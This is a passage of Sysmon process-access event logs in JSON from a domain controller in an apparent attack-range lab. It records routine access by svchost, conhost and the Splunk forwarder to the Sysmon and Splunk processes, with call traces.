C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00102E3F0300}","TargetProcessId":"4004","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.453\r\nSourceProcessGUID: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nSourceProcessId: 4004\r\nSourceThreadId: 4000\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.453","SourceProcessGUID":"{90617006-3FE8-5F2D-0000-00102E3F0300}","SourceProcessId":"4004","SourceThreadId":"4000","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program 